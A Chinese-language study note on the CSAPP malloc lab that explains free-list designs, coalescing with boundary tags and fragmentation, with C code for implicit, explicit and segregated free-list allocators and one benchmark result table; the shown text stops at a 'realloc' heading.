best fit：这种方式最大的好处是可以充分地利用空间。找到所有满足要求的块中最小的那一个，这样可以很大程度上避免浪费。当然，这也使得时间成本较高，尤其是如果空间链表的组织方式不太恰当的话，容易导致每次都要遍历一整个列表。

四种空闲列表的组织方式

implicit free list：这种方式最为简单，直接将所有的块（不管是否有分配）串在一起，然后遍历。这种方式可也使得块最小可以达到8 bytes。当然，这种方式效率很低，尤其是当块的数量较多的时候。
explicit free list：在每一个free 块中保存两个指针，将所有空闲的块组成一个双向链表。和隐式相比，这种方式最大的好处在于我们不需要遍历已经分配的块，速度上快了很多，当然，由于需要保存指针，所以每一个块最小为16 bytes。
segregated free list：这种方式的特点在于，根据块的不同大小，分成k组，组织成k条双向链表。分类的方式有很多，比如可以采用2的倍数的分类方式，{1},{2},{3-4},{5-8}……大小为6的块放在第四条链中，大小为3的块则放在第三条链中等等。
Red-Black Tree：按大小排序的平衡树，在每个空闲块中使用一个带指针的平衡树，并使用长度作为权值。

两种合并的方式

immediate coalescing：每次释放后立即合并，当内存块被释放后，立即与相邻的空闲内存块合并，以获得一个更大的空闲块，插入到链表的相应位置。这样可以减少碎片化。
deferred coalescing：尝试通过延迟合并，即直到需要才合并来提高释放的性能，例如:
- 为 malloc 扫描空闲链表时可以合并
- 外部碎片达到阈值时可以合并
  带边界标记的合并

分配器是如何实现合并的？如果要合并（内存中）下一个空闲块，只需要当前free掉的块的头部指向下一个块的头部，可以检查这个指针以判断下一个块是否是空闲的。如果是，就将它的大小简单地加到当前块头部的大小上，这两个块即可在常数时间内被合并。

但如果要合并前面的块呢？给定一个带头部的隐式空闲链表，唯一的选择将是搜索整个链表，记住前面块的位置，直到我们到达当前块。使用隐式空闲链表，这意味着每次调用 free 需要的时间都与堆的大小成线性关系。即使用更复杂精细的空闲链表组织，搜索时间也不会是常数。

由此引入了边界标记（boundary tag）允许在常数时间内进行对前面块的合并。这种思想是在每个块的结尾处添加一个脚部（footer，边界标记），其中脚部就是头部的一个副本。如果每个块包括这样一个脚部，那么分配器就可以通过检査它的脚部，判断前面一个块的起始位置和状态，这个脚部总是在距当前块开始位置一个字的距离。

ICS-malloc-使用边界标记的堆块的格式.png

边界标记的概念是简单优雅的，它对许多不同类型的分配器和空闲链表组织都是通用的。然而，它也存在一个潜在的缺陷。它要求每个块都保持一个头部和一个脚部，在应用程序操作许多个小块时，会产生显著的内存开销。例如，如果一个图形应用通过反复调用 malloc 和 free 来动态地创建和销毁图形节点，并且每个图形节点都只要求两个内存字，那么头部和脚部将占用每个已分配块的一半的空间。

幸运的是，有一种非常聪明的边界标记的优化方法，能够使得在已分配块中不再需要脚部。回想一下，当我们试图在内存中合并当前块以及前面的块和后面的块时，只有在前面的块是空闲时，才会需要用到它的脚部。如果我们把前面块的已分配/空闲位存放在当前块中多出来的低位中，那么已分配的块就不需要脚部了，这样我们就可以将这个多出来的空间用作有效载荷了。不过请注意，空闲块仍然需要脚部。

两种内存碎片

internal fragmentation：内部碎片，即是已经被分配出去（能明确指出属于哪个进程）却不能被利用的内存空间。比如当前我需要44 bytes的内存，然后malloc的时候分配到了一个48 bytes的块，这样的话，剩下的4 bytes的内存尽管我不需要用到，但是其他程序也无法使用，这就是内部碎片。
external fragmentation：外部碎片，即还没有被分配出去（不属于任何进程），但由于太小了无法分配给申请内存空间的新进程的内存空闲区域。

实验开始之前

一般来说，做这个实验都会遇到首次make时报错的问题：

1	“fatal error: bits/libc-header-start.h: No such file or directory” while compiling

这个只需要使用如下命令安装32位的库（不知道为什么我wsl和debian虚拟机都各种报错，直到ubuntu才成功

1	apt-get install gcc-multilib

在make完之后，在执行./mdriver -V时会出现找不到文件路径的问题：

1
2
3

Testing mm malloc
Reading tracefile: amptjp-bal.rep
Could not open ... /amptjp-bal.rep in read_trace: No such file or directory

这个只需要在config.h中设置TRACEDIR为自己traces文件夹的路径再重新make即可，例如：

1	#define TRACEDIR "/home/os/Desktop/training/ics-lab/traces/"

隐式空闲链表

首先是用最简单的隐式空闲链表+首次适配+realloc方式，采用隐式空闲链表组织空闲块，并且在头部和尾部添加了序言块和结尾块，方便添加和释放块。在空闲块适配上，采用最简单的首次适配策略，由头到尾遍历的第一个符合大小的空闲块会被采用。这种方式显然不是最佳，会在头部形成大量碎片，最后跑分很低（划掉）

init

首先是init函数，mm_init 函数初始化分配器，如果成功就返回 0，否则就返回 -1。

ICS-malloc-隐式空闲链表的恒定形式.png

第一个字是一个双字边界对齐的不使用的填充字。填充后面紧跟着一个特殊的序言块（prologue block），这是一个 8 字节的已分配块，只由一个头部和一个脚部组成。序言块是在初始化时创建的，并且永不释放。在序言块后紧跟的是零个或者多个由 malloc 或者 free 调用创建的普通块。堆总是以一个特殊的结尾块（epilogue block）来结束，这个块是一个大小为零的已分配块，只由一个头部组成。序言块和结尾块是一种消除合并时边界条件的技巧。分配器使用一个单独的私有（static）全局变量（heap_listp），它总是指向序言块。（作为一个小优化，我们可以让它指向下一个块，而不是这个序言块）

编写代码时还需要定义一些基本的宏：字的大小（WSIZE）双字的大小（DSIZE）初始空闲块的大小和扩展堆时的默认大小（CHUNKSIZE）；PACK 宏将大小和已分配位结合起来并返回一个值，可以把它存放在头部或者脚部中。GET 宏读取和返回参数 p 引用的字。这里强制类型转换是至关重要的，参数 P 典型地是一个(viod*) 指针，不可以直接进行间接引用。同理，PUT 宏将 val 存放在参数 p 指向的字中。

#define WSIZE       4       /* Word and header/footer size (bytes) */ 
#define DSIZE       8       /* Double word size (bytes) */
#define CHUNKSIZE  (1<<12)  /* Extend heap by this amount (bytes) */ 

/* Pack a size and allocated bit into a word */
#define PACK(size, alloc)  ((size) | (alloc)) 
/* Read the size and allocated fields from address p */
#define GET_SIZE(p)  (GET(p) & ~0x7)
#define GET_ALLOC(p) (GET(p) & 0x1)

/* Read and write a word at address p */
#define PUT(p, val)  (*(unsigned int *)(p) = (val)) 
#define GET(p)       (*(unsigned int *)(p))

int mm_init(void)
{
    if( (heap_list = mem_sbrk(4 * WSIZE)) == -1) return -1;
    PUT(heap_list, 0);                            /* Alignment padding */
    PUT(heap_list + (1 * WSIZE), PACK(DSIZE, 1)); /* Prologue header */
    PUT(heap_list + (2 * WSIZE), PACK(DSIZE, 1)); /* Prologue footer */
    PUT(heap_list + (3 * WSIZE), PACK(0, 1));     /* Epilogue header */
    heap_list += (2 * WSIZE);
    /* Extend the empty heap with a free block of CHUNKSIZE bytes */
    if(extend_heap(CHUNKSIZE / WSIZE) == NULL) return -1;
    return 0;
}

GET_SIZE 和 GET_ALLOC 宏从地址 p 处的头部或者脚部分别返回大小和已分配位。剩下的宏是对块指针（block pointer 用bp表示）的操作，块指针指向第一个有效载荷字节。给定一个块指针 bp，HDRP 和 FTRP 宏分别返回指向这个块的头部和脚部的指针。NEXT_BLKP 和 PREV_BLKP 宏分别返回指向后面的块和前面的块的块指针。

/* Given block ptr bp, compute address of its header and footer */
#define HDRP(bp)       ((char *)(bp) - WSIZE)
#define FTRP(bp)       ((char *)(bp) + GET_SIZE(HDRP(bp)) - DSIZE)
/* Given block ptr bp, compute address of next and previous blocks */
#define NEXT_BLKP(bp)  ((char *)(bp) + GET_SIZE(((char *)(bp) - WSIZE)))
#define PREV_BLKP(bp)  ((char *)(bp) - GET_SIZE(((char *)(bp) - DSIZE)))

static void *extend_heap(size_t words)
{
    char *bp;
    size_t size;

    /* Allocate an even number of words to maintain alignment */
    size = (words % 2) ? (words + 1) * WSIZE : words * WSIZE;
    if ((long)(bp = mem_sbrk(size)) == -1)
        return NULL;

    /* Initialize free block header/footer and the epilogue header */
    PUT(HDRP(bp), PACK(size, 0));         /* Free block header */
    PUT(FTRP(bp), PACK(size, 0));         /* Free block footer */
    PUT(HDRP(NEXT_BLKP(bp)), PACK(0, 1)); /* New epilogue header */

    /* Coalesce if the previous block was free */
    return coalesce(bp);
}

extend_heap 函数会在两种不同的环境中被调用：1）当堆被初始化时；2）当 loc 不能找到一个合适的匹配块时。为了保持对齐，extend_heap 将请求大小向上舍入为最接近的 2 字（8 字节）的倍数，然后向内存系统请求额外的堆空间。

extend_heap 函数的剩余部分有点儿微妙。堆开始于一个双字对齐的边界，并且每次对 extend_heap 的调用都返回一个块，该块的大小是双字的整数倍。因此，对 mem_sbrk 的每次调用都返回一个双字对齐的内存片，紧跟在结尾块的头部后面。这个头部变成了新的空闲块的头部，并且这个片的最后一个字变成了新的结尾块的头部。最后，在很可能出现的前一个堆以一个空闲块结束的情况中，调用 coalesce 函数来合并两个空闲块，并返回指向合并后的块的块指针。

free

通过调用 mm_free 函数来释放一个以前分配的块，这个函数释放所请求的块（bp），然后使用边界标记合并技术将之与邻接的空闲块合并起来。

void mm_free(void *bp)
{
    size_t size = GET_SIZE(HDRP(bp));

    PUT(HDRP(bp), PACK(size, 0));
    PUT(FTRP(bp), PACK(size, 0));
    coalesce(bp);
}

static void *coalesce(void *bp)
{
    size_t prev_alloc = GET_ALLOC(FTRP(PREV_BLKP(bp)));
    size_t next_alloc = GET_ALLOC(HDRP(NEXT_BLKP(bp)));
    size_t size = GET_SIZE(HDRP(bp));

    if (prev_alloc && next_alloc) {            /* Case 1 */
        return bp;
    }

    else if (prev_alloc && !next_alloc) {      /* Case 2 */
        size += GET_SIZE(HDRP(NEXT_BLKP(bp)));
        PUT(HDRP(bp), PACK(size, 0));
        PUT(FTRP(bp), PACK(size, 0));
    }

    else if (!prev_alloc && next_alloc) {      /* Case 3 */
        size += GET_SIZE(HDRP(PREV_BLKP(bp)));
        PUT(FTRP(bp), PACK(size, 0));
        PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0));
        bp = PREV_BLKP(bp);
    }

    else {                                     /* Case 4 */
        size += GET_SIZE(HDRP(PREV_BLKP(bp))) +
                GET_SIZE(FTRP(NEXT_BLKP(bp)));
        PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0));
        PUT(FTRP(NEXT_BLKP(bp)), PACK(size, 0));
        bp = PREV_BLKP(bp);
    }
    return bp;
}

情况 1：前面的和后面块都已分配。情况 2：前面块已分配，后面块空闲。
情况 3：前面块空闲，后面块已分配。情况 4：后面块和前面块都空闲。

case1 ，两个邻接的块都是已分配的，不可能合并。所以当前块的状态只是简单地从已分配变成空闲。
case2，当前块与后面的块合并。用当前块和后面块的大小的和来更新当前块的头部和后面块的脚部。
case3，前面的块和当前块合并。用两个块大小的和来更新前面块的头部和当前块的脚部。
case4，要合并所有的三个块形成一个单独的空闲块，用三个块大小的和来更新前面块的头部和后面块的脚部。在每种情况中，合并都是在常数时间内完成的。

malloc

一个应用通过调用 mm_malloc 函数来向内存请求大小为 size 字节的块。在检査完请求的真假之后，分配器必须调整请求块的大小，从而为头部和脚部留有空间，并满足双字对齐的要求。代码强制了最小块大小是 16 字节：8 字节用来满足对齐要求，而另外 8 个用来放头部和脚部。对于超过 8 字节的请求一般的规则是加上开销字节，然后向上舍入到最接近的 8 的整数倍。

一旦分配器调整了请求的大小，它就会搜索空闲链表，寻找一个合适的空闲块。如果有合适的，那么分配器就放置这个请求块，并可选地分割出多余的部分，然后返回新分配块的地址。如果分配器不能够发现一个匹配的块，那么就用一个新的空闲块来扩展堆，把请求块放置在这个新的空闲块里，可选地分割这个块，然后返回一个指针，指向这个新分配的块。

void *mm_malloc(size_t size)
{
    size_t asize;      /* Adjusted block size */
    size_t extendsize; /* Amount to extend heap if no fit */
    char *bp;

    /* Ignore spurious requests */
    if (size == 0)
        return NULL;

    /* Adjust block size to include overhead and alignment reqs. */
    if (size <= DSIZE)
        asize = 2 * DSIZE;
    else
        asize = DSIZE * ((size + (DSIZE) + (DSIZE - 1)) / DSIZE);

    /* Search the free list for a fit */
    if ((bp = find_fit(asize)) != NULL) {
        place(bp, asize);
        return bp;
    }

    /* No fit found. Get more memory and place the block */
    extendsize = MAX(asize, CHUNKSIZE);
    if ((bp = extend_heap(extendsize / WSIZE)) == NULL)
        return NULL;
    place(bp, asize);
    return bp;
}

static void *find_fit(size_t asize) {
    void *bp;
    for(bp = heap_list; GET_SIZE(HDRP(bp))>0; bp = NEXT_BLKP(bp)) {
        if(!GET_ALLOC(HDRP(bp)) && (asize <= GET_SIZE(HDRP(bp)))) {
            return bp;
        }
    }
    return NULL;
}
static void place(void *bp, size_t asize){
    size_t csize = GET_SIZE(HDRP(bp));

    if((csize-asize)>=(2*DSIZE)) {
        PUT(HDRP(bp), PACK(asize,1));
        PUT(FTRP(bp), PACK(asize,1));
        bp = NEXT_BLKP(bp);
        PUT(HDRP(bp), PACK(csize-asize, 0));
        PUT(FTRP(bp), PACK(csize-asize, 0));
    }else{ //否则，形成内部碎片
        PUT(HDRP(bp), PACK(csize, 1));
        PUT(FTRP(bp), PACK(csize, 1));
    }
}

realloc

void *mm_realloc(void *ptr, size_t size)
{
    size_t oldsize;
    void *newptr;

    if(size == 0) {
        mm_free(ptr);
        return 0;
    }
    if(ptr == NULL) return mm_malloc(size);
    
    newptr = mm_malloc(size);
    /* If realloc() fails the original block is left untouched  */
    if(!newptr) return 0;
    /* Copy the old data. */
    oldsize = GET_SIZE(HDRP(ptr));
    if(size < oldsize) oldsize = size;
    memcpy(newptr, ptr, oldsize);
    /* Free the old block. */
    mm_free(ptr);

    return newptr;
}

显示空闲链表

隐式空闲链表看上去比较简单容易理解，但因为块分配与堆块的总数呈线性关系，所以对于通用的分配器，隐式空闲链表是不适合的（尽管对于堆块数量预先就知道是很小的特殊的分配器来说还是可以）一种更好的方法是将空闲块组织为某种形式的显式数据结构，例如双向空闲链表，在每个空闲块中，都包含一个 pred 前驱和 succ 后继指针。使用双向链表而不是隐式空闲链表，使首次适配的分配时间从块总数的线性时间减少到了空闲块数量的线性时间。不过，释放一个块的时间取决于我们所选择的空闲链表中块的排序策略。

一种方法是用后进先出（LIFO）的顺序维护链表，将新释放的块放置在链表的开始处。使用 LIFO 的顺序和首次适配的放置策略，分配器会最先检查最近使用过的块。在这种情况下，释放一个块可以在常数时间内完成。如果使用了边界标记，那么合并也可以在常数时间内完成。

另一种方法是按照地址顺序来维护链表，其中链表中每个块的地址都小于它后继的地址。在这种情况下，释放一个块需要线性时间的搜索来定位合适的前驱。平衡点在于，按照地址排序的首次适配比 LIFO 排序的首次适配有更高的内存利用率，接近最佳适配的利用率。

init

int mm_init(void)
{
    if( (heap_list = mem_sbrk(6 * WSIZE)) == -1) 	//创建初始堆
        return -1;
    
    PUT(heap_list, 0);
    PUT(heap_list + (1 * WSIZE), 0); 				//空闲链表prev
    PUT(heap_list + (2 * WSIZE), 0); 				//空闲链表next
    PUT(heap_list + (3 * WSIZE), PACK(DSIZE, 1)); 	//序言块头
    PUT(heap_list + (4 * WSIZE), PACK(DSIZE, 1)); 	//序言块尾
    PUT(heap_list + (5 * WSIZE), PACK(0, 1)); 		//结尾块

    empty_list = heap_list + (1 * WSIZE);
    heap_list += (4 * WSIZE); 			//移动到尾部，之后方便插入
    if(extend_heap(CHUNKSIZE / DSIZE) == NULL) return -1;
    return 0;
}

创建初始堆的大小由原先的 4 WSIZE 扩充成了 6 WSIZE ，在开始处新增了前后两个指针。

#define PREV_NODE(bp) ((char *)(bp))
#define NEXT_NODE(bp) ((char * )(bp) + WSIZE)
//给块指针，计算头部和尾部
#define HDRP(bp)    ((char *)(bp)-WSIZE) 
#define FTRP(bp)    ((char *)(bp)+GET_SIZE(HDRP(bp))-DSIZE)
//调到下一个块，和上一个块
#define NEXT_BLKP(bp)   ((char *)(bp)+GET_SIZE(((char *)(bp)-WSIZE)))
#define PREV_BLKP(bp)   ((char *)(bp)-GET_SIZE(((char *)(bp)-DSIZE)))

static void* extend_heap(size_t words) {
    char* bp; size_t size;

    size = (words % 2) ? (words + 1) * DSIZE : words * DSIZE;
    if( (bp = mem_sbrk(size)) == -1) return NULL;

    PUT(HDRP(bp), PACK(size, 0));
    PUT(FTRP(bp), PACK(size, 0));
    PUT(NEXT_NODE(bp), 0);
    PUT(PREV_NODE(bp), 0);
    PUT(HDRP(NEXT_BLKP(bp)), PACK(0, 1));

    return coalesce(bp);
}

向内存系统请求words大小的堆空间，因为堆是向上连续申请的，新申请的在结尾块后面。这里把之前的结尾块当做新申请的头部，申请最后字节当做尾部，最后再尝试合并bp前的块。

free

void mm_free(void *ptr)
{
    if(ptr == 0) return;

    size_t size = GET_SIZE(HDRP(ptr));

    PUT(HDRP(ptr), PACK(size, 0));
    PUT(FTRP(ptr), PACK(size, 0));
    PUT(NEXT_NODE(ptr), 0);
    PUT(PREV_NODE(ptr), 0);
    
    coalesce(ptr);
}

static void* coalesce(void *bp){
    //获取前后分配状态
    size_t prev_alloc = GET_ALLOC(FTRP(PREV_BLKP(bp)));
    size_t next_alloc = GET_ALLOC(HDRP(NEXT_BLKP(bp)));
    size_t size = GET_SIZE(HDRP(bp));

    if(prev_alloc && next_alloc) { 			//都分配
        
    }else if(prev_alloc && !next_alloc){ 	//合并后块
        size += GET_SIZE(HDRP(NEXT_BLKP(bp)));
        fix_linklist(NEXT_BLKP(bp));
        PUT(HDRP(bp), PACK(size,0));
        PUT(FTRP(bp), PACK(size,0));
    }else if(!prev_alloc && next_alloc){ 	//合并前块
        size += GET_SIZE(HDRP(PREV_BLKP(bp)));
        fix_linklist(PREV_BLKP(bp));
        PUT(FTRP(bp),PACK(size,0));
        PUT(HDRP(PREV_BLKP(bp)),PACK(size,0));
        bp = PREV_BLKP(bp);
    }else { 								//前后中一起合并
        size += GET_SIZE(FTRP(NEXT_BLKP(bp))) + GET_SIZE(HDRP(PREV_BLKP(bp)));
        fix_linklist(PREV_BLKP(bp));
        fix_linklist(NEXT_BLKP(bp));
        PUT(FTRP(NEXT_BLKP(bp)),PACK(size,0));
        PUT(HDRP(PREV_BLKP(bp)),PACK(size,0));
        bp = PREV_BLKP(bp);
    }
    insert_to_emptylist(bp);
    DEBUG_OUT;
    return bp;
}

//插入空闲链表 采用LIFO，插入empty_list的前面
static void insert_to_emptylist(char* bp) {
    char* bp_next = GET(empty_list);
    if(bp_next != NULL) 			//不是头结点
        PUT(PREV_NODE(bp_next), bp);
    PUT(NEXT_NODE(bp), bp_next); 	//连入链表
    PUT(empty_list, bp);
}

//删除bp节点
static void fix_linklist(char* bp) {

    char* prev = GET(PREV_NODE(bp));
    char* next = GET(NEXT_NODE(bp));

    if(prev == NULL) { 	//不用修复前驱
        if(next != NULL) PUT(PREV_NODE(next), NULL);
        PUT(empty_list, next);
    } else { 			//跳过当前节点
        if(next != NULL) PUT(PREV_NODE(next), prev);
        PUT(NEXT_NODE(prev), next); 
    }

    PUT(PREV_NODE(bp), NULL);
    PUT(NEXT_NODE(bp), NULL);
}

malloc

void *mm_malloc(size_t size)
{
    size_t asize; 		//调整块大小后的大小
    size_t extendsize; 	//如果找不到，申请新堆的大小
    char *bp;

    if(size ==0) return NULL;

    if(size <= DSIZE) { //调整，块大小至少要2*DISZE
        asize = 2*(DSIZE);
    }else{
        asize = (DSIZE)*((size+(DSIZE)+(DSIZE-1)) / (DSIZE));
    }

    //搜索适合的块
    if((bp = find_fit(asize)) != NULL) {
        place(bp,asize);
        DEBUG_OUT;
        return bp;
    }

    //扩展大小，asize和CHUNKSIZE的最大值
    extendsize = MAX(asize, CHUNKSIZE);
    if((bp = extend_heap(extendsize/DSIZE)) == NULL) return NULL;
    place(bp, asize);
    DEBUG_OUT;
    return bp;
}

static void *find_fit(size_t asize) {
    void *bp;
    for(bp = GET(empty_list); bp != NULL; bp = GET(NEXT_NODE(bp))) {
        if(GET_SIZE(HDRP(bp)) >= asize) {
            return bp;
        }
    }
    return NULL;
}

static void place(void *bp,size_t asize){
    size_t csize = GET_SIZE(HDRP(bp));
    fix_linklist(bp); //remove from list
    //剩余大于最小块大小
    if((csize-asize)>=(2*DSIZE)) {
        PUT(HDRP(bp), PACK(asize, 1));
        PUT(FTRP(bp), PACK(asize, 1));
        
        bp = NEXT_BLKP(bp);
        PUT(HDRP(bp), PACK(csize-asize, 0));
        PUT(FTRP(bp), PACK(csize-asize, 0));
        PUT(NEXT_NODE(bp), 0);
        PUT(PREV_NODE(bp), 0);
        coalesce(bp);
    }else{ //否则，形成内部碎片
        PUT(HDRP(bp),PACK(csize,1));
        PUT(FTRP(bp),PACK(csize,1));
    }
}

realloc

void *mm_realloc(void *ptr, size_t size)
{
    size_t oldsize; void *newptr;

    if(size == 0) {
        mm_free(ptr);
        return 0;
    }

    if(ptr == NULL) return mm_malloc(size);
    
    newptr = mm_malloc(size);
    /* If realloc() fails the original block is left untouched  */
    if(!newptr) return 0;
    /* Copy the old data. */
    oldsize = GET_SIZE(HDRP(ptr));
    if(size < oldsize) oldsize = size;
    memcpy(newptr, ptr, oldsize);

    /* Free the old block. */
    mm_free(ptr);

    return newptr;
}

最后跑分结果其实也不是不能看哈（捂脸

Results for mm malloc:
trace  valid  util     ops      secs  Kops
 0       yes   89%    5694  0.000305 18700
 1       yes   92%    5848  0.000199 29431
 2       yes   94%    6648  0.000399 16657
 3       yes   96%    5380  0.000268 20097
 4       yes   99%   14400  0.000129111715
 5       yes   87%    4800  0.000569  8436
 6       yes   85%    4800  0.000526  9119
 7       yes   55%    6000  0.000911  6583
 8       yes   51%    7200  0.000306 23506
 9       yes   26%   14401  0.075776   190
10       yes   34%   14401  0.002762  5213
Total          73%   89572  0.082151  1090

Perf index = 44 (util) + 40 (thru) = 84/100

分离空闲链表

一个使用单向空闲块链表的分配器需要与空闲块数量呈线性关系的时间来分配块。而我们可以用分离存储（segregated storage）来减少分配时间，即维护多个空闲链表，其中每个链表中的块有大致相等的大小。一般的思路是将所有可能的块大小分成一些等价类，也叫做大小类（size class）。有很多种方式来定义大小类，例如可以根据 2 的幕来划分块大小：{1},{2},{3,4},{5∼8},⋯ ,{1025∼2048},{4097∼∞}

分配器维护着一个空闲链表数组，每个大小类一个空闲链表，按照大小的升序排列。当分配器需要一个大小为 n 的块时，它就搜索相应的空闲链表。如果不能找到合适的块与之匹配，它就搜索下一个链表，以此类推。

有关动态内存分配的文献描述了几十种分离存储方法，主要的区别在于它们如何定义大小类，何时进行合并，何时向操作系统请求额外的堆内存，是否允许分割，等等。基本的方法有简单分离存储（simple segregated storage）和分离适配（segregated fit）以下用分离适配作为举例。

分离适配方法分配器维护着一个空闲链表的数组。每个空闲链表是和一个大小类相关联的，并且被组织成某种类型的显式或隐式链表。每个链表包含潜在的大小不同的块，这些块的大小是大小类的成员。有许多种不同的分离适配分配器。

为了分配一个块，必须确定请求的大小类，并且对适当的空闲链表做首次适配，査找一个合适的块。如果找到了一个，那么就（可选地）分割它，并将剩余的部分插入到适当的空闲链表中。如果找不到合适的块，那么就搜索下一个更大的大小类的空闲链表。如此重复，直到找到一个合适的块。如果空闲链表中没有合适的块，那么就向操作系统请求额外的堆内存，从这个新的堆内存中分配出一个块，将剩余部分放置在适当的大小类中。要释放一个块，我们执行合并，并将结果放置到相应的空闲链表中。

分离适配方法是一种常见的选择，C 标准库中提供的 GNU malloc 包就是釆用的这种方法，因为这种方法既快速，对内存的使用也很有效率。搜索时间减少了，因为搜索被限制在堆的某个部分，而不是整个堆。内存利用率得到了改善，因为有一个有趣的事实：对分离空闲链表的简单的首次适配搜索，其内存利用率近似于对整个堆的最佳适配搜索的内存利用率。

init

int mm_init(void)
{
    if( (heap_list = mem_sbrk(14 * WSIZE)) == -1) return -1;
    
    PUT(heap_list, 0); // <= 8
    PUT(heap_list + (1 * WSIZE), 0); // <= 16
    PUT(heap_list + (2 * WSIZE), 0); // <= 32
    PUT(heap_list + (3 * WSIZE), 0); // <= 64
    PUT(heap_list + (4 * WSIZE), 0); // <= 128
    PUT(heap_list + (5 * WSIZE), 0); // <= 256
    PUT(heap_list + (6 * WSIZE), 0); // <= 512
    PUT(heap_list + (7 * WSIZE), 0); // <= 2048
    PUT(heap_list + (8 * WSIZE), 0); // <= 4096
    PUT(heap_list + (9 * WSIZE), 0); // > 4096
    PUT(heap_list + (10 * WSIZE), 0);
    PUT(heap_list + (11 * WSIZE), PACK(DSIZE, 1)); 	//序言块头
    PUT(heap_list + (12 * WSIZE), PACK(DSIZE, 1)); 	//序言块尾
    PUT(heap_list + (13 * WSIZE), PACK(0, 1)); 		//结尾块

    block_list = heap_list;
    heap_list += (12 * WSIZE); //移动到尾部，之后方便插入
    if(extend_heap(CHUNKSIZE / DSIZE) == NULL) return -1;
    return 0;
}

static void* extend_heap(size_t words) {
    char* bp;
    size_t size;

    //alignment
    size = (words % 2) ? (words + 1) * DSIZE : words * DSIZE;
    if( (bp = mem_sbrk(size)) == -1) return NULL;

    PUT(HDRP(bp), PACK(size, 0));
    PUT(FTRP(bp), PACK(size, 0));
    PUT(NEXT_NODE(bp), NULL);
    PUT(PREV_NODE(bp), NULL);
    PUT(HDRP(NEXT_BLKP(bp)), PACK(0, 1));

    return coalesce(bp);
}

free

void mm_free(void *ptr)
{
    if(ptr == 0) return;

    size_t size = GET_SIZE(HDRP(ptr));

    //改变头尾节点，即释放
    PUT(HDRP(ptr), PACK(size, 0));
    PUT(FTRP(ptr), PACK(size, 0));
    PUT(NEXT_NODE(ptr), 0);
    PUT(PREV_NODE(ptr), 0);
    
    //尝试合并
    coalesce(ptr);
}

static void* coalesce(void *bp){
    //获取前后分配状态
    size_t prev_alloc = GET_ALLOC(FTRP(PREV_BLKP(bp)));
    size_t next_alloc = GET_ALLOC(HDRP(NEXT_BLKP(bp)));
    size_t size = GET_SIZE(HDRP(bp));

    if(prev_alloc && next_alloc) { //都分配

    }else if(prev_alloc && !next_alloc){ //合并后块
        size += GET_SIZE(HDRP(NEXT_BLKP(bp)));
        fix_linklist(NEXT_BLKP(bp));
        PUT(HDRP(bp), PACK(size,0));
        PUT(FTRP(bp), PACK(size,0));
    }else if(!prev_alloc && next_alloc){ //合并前块
        size += GET_SIZE(HDRP(PREV_BLKP(bp)));
        fix_linklist(PREV_BLKP(bp));
        PUT(FTRP(bp),PACK(size,0));
        PUT(HDRP(PREV_BLKP(bp)),PACK(size,0));
        bp = PREV_BLKP(bp);
    }else { //前后中一起合并
        size +=GET_SIZE(FTRP(NEXT_BLKP(bp)))+ GET_SIZE(HDRP(PREV_BLKP(bp)));
        fix_linklist(PREV_BLKP(bp));
        fix_linklist(NEXT_BLKP(bp));
        PUT(FTRP(NEXT_BLKP(bp)),PACK(size,0));
        PUT(HDRP(PREV_BLKP(bp)),PACK(size,0));
        bp = PREV_BLKP(bp);
    }
    insert_to_sizelist(bp);
    DEBUG_OUT;
    return bp;
}

static void insert_to_sizelist(char* bp) {
    char* start = find_fit_class(GET_SIZE(HDRP(bp)));
    char* prev = start;
    char* next = GET(start);

    //按照使用的size排序，插入对应
    while(next != NULL) {
        if(GET_SIZE(HDRP(next)) >= GET_SIZE(HDRP(bp))) break;
        prev = next;
        next = GET(NEXT_NODE(next));
    }
    if(prev == start) { //头结点插入
        PUT(start,bp);
        PUT(NEXT_NODE(bp),next);
        PUT(PREV_NODE(bp),NULL);
        if(next != NULL) PUT(PREV_NODE(next), bp);
    } else {
        PUT(NEXT_NODE(prev), bp);
        PUT(PREV_NODE(bp), prev);
        PUT(NEXT_NODE(bp), next);
        if(next != NULL) PUT(PREV_NODE(next), bp);
    }
}

static void fix_linklist(char* bp) {
    char* start = find_fit_class(GET_SIZE(HDRP(bp)));
    char* prev = GET(PREV_NODE(bp));
    char* next = GET(NEXT_NODE(bp));

    if(prev == NULL) { //不用修复前驱
        if(next != NULL) PUT(PREV_NODE(next), NULL);
        PUT(start, next);
    } else { //跳过当前节点
        if(next != NULL) PUT(PREV_NODE(next), prev);
        PUT(NEXT_NODE(prev), next); 
    }

    PUT(PREV_NODE(bp), NULL);
    PUT(NEXT_NODE(bp), NULL);
}

static char* find_fit_class(size_t size) {
    int i = 0;
    if(size <= 8) i = 0;
    else if(size <= 16) i = 1;
    else if(size <= 32) i = 2;
    else if(size <= 64) i = 3;
    else if(size <= 128) i = 4;
    else if(size <= 256) i = 5;
    else if(size <= 512) i = 6;
    else if(size <= 2048) i = 7;
    else if(size <= 4096) i = 8;
    else i = 9;
    /*find the index of bin which will put this block */
    return block_list + (i * WSIZE);
}

malloc

void *mm_malloc(size_t size)
{
    size_t asize; //调整块大小后的大小
    size_t extendsize; //如果找不到，申请新堆的大小
    char *bp;

    if(size == 0) return NULL;

    if(size <= DSIZE){ //调整，块大小至少要2*DISZE
        asize = 2*(DSIZE);
    }else{
        asize = (DSIZE)*((size+(DSIZE)+(DSIZE-1)) / (DSIZE));
    }

    //搜索适合的块
    if((bp = find_fit(asize))!= NULL){
        place(bp,asize);
        DEBUG_OUT;
        return bp;
    }
    //扩展大小，asize和CHUNKSIZE的最大值
    extendsize = MAX(asize, CHUNKSIZE);
    if((bp = extend_heap(extendsize/DSIZE)) == NULL) return NULL;
    place(bp, asize);
    return bp;
}

static void *find_fit(size_t asize) {
    char* start = find_fit_class(asize);
    for(; start != heap_list - (2 * WSIZE); start += WSIZE) {
        char* cur = GET(start);
        while(cur != NULL) {
            if(GET_SIZE(HDRP(cur)) >= asize) return cur;
            cur = GET(NEXT_NODE(cur));
        }
    }
    return NULL;
}

static void place(void *bp,size_t asize){
    size_t csize = GET_SIZE(HDRP(bp));
    fix_linklist(bp); //remove from list
    //剩余大于最小块大小
    if((csize-asize)>=(2*DSIZE)){
        PUT(HDRP(bp),PACK(asize,1));
        PUT(FTRP(bp),PACK(asize,1));
        
        bp = NEXT_BLKP(bp);
        PUT(HDRP(bp),PACK(csize-asize,0));
        PUT(FTRP(bp),PACK(csize-asize,0));
        PUT(NEXT_NODE(bp),0);
        PUT(PREV_NODE(bp),0);
        coalesce(bp);
    }else{ //否则，形成内部碎片
        PUT(HDRP(bp),PACK(csize,1));
        PUT(FTRP(bp),PACK(csize,1));
    }
}

realloc

